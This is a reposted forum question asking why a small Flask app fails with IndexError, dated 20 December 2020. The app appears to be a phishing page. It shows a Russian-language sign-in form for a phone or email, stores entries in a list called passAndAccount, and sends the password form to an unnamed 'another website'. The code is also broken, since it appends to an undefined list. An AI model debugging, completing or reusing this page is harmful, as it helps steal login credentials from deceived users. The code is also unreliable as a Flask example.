dimanche 20 décembre 2020

Why I get error "IndexError: list index out of range" in my flask application?

I get "POST /pass HTTP/1.1" 500

flask code:

from flask import Flask, render_template, request

passAndAccount = []

app = Flask(__name__)

@app.route('/', methods=["GET", "POST"])
def emailcheck():
    if request.method == "GET":
        return render_template("email.html")
    else:
        email = request.form.get('email')
        password.append(email)
        return render_template("password.html")

@app.route('/pass', methods=["GET", "POST"])
def passwordcheck():
    if request.method == "POST":
        return render_template('password.html', email = password[0])

email.html:

<form action="/pass" method="POST">
            <input name="email" type="email" placeholder="Телефон или адрес эл. почты" required autofocus>
            <input id="submit" type="submit" value="Далее">
</form>

password.html:

...
<form action="*another website*", method="post">
            <input name="password" type="password" placeholder="Введите пароль" required autofocus>
            <input id="submit" type="submit" value="Далее">
</form>

I think error arise because fo code around def emailcheck().




Aucun commentaire:

Enregistrer un commentaire